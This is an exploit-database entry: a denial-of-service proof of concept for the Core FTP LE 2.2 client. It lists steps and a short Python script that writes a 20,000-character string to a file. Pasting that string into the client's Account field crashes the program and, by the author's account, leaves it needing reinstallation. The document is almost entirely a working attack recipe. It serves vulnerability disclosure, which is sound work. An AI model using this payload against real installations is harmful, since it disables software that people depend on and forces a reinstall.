# Exploit Title: Core FTP LE 2.2 - Denial of Service (PoC)
# Date: 2020-25-02
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download.html
# Version: 2.2 build 1947
# Tested on: Windows 10 Home x64
# CVE : n/a

#STEPS
# Open the program Core FTP LE
# In File select the option Connect
# Click in the option Advanced from the fiel Host / IP / URL
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Dog.txt"
# Paste the content in the field Account
# Click in OK
# After Core FTP lE closed, the program did not work again if the user try to
# open again, so it is necessary uninstall and install again
# End :)


buffer = 'R' * 20000

try: 
    file = open("Dog.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")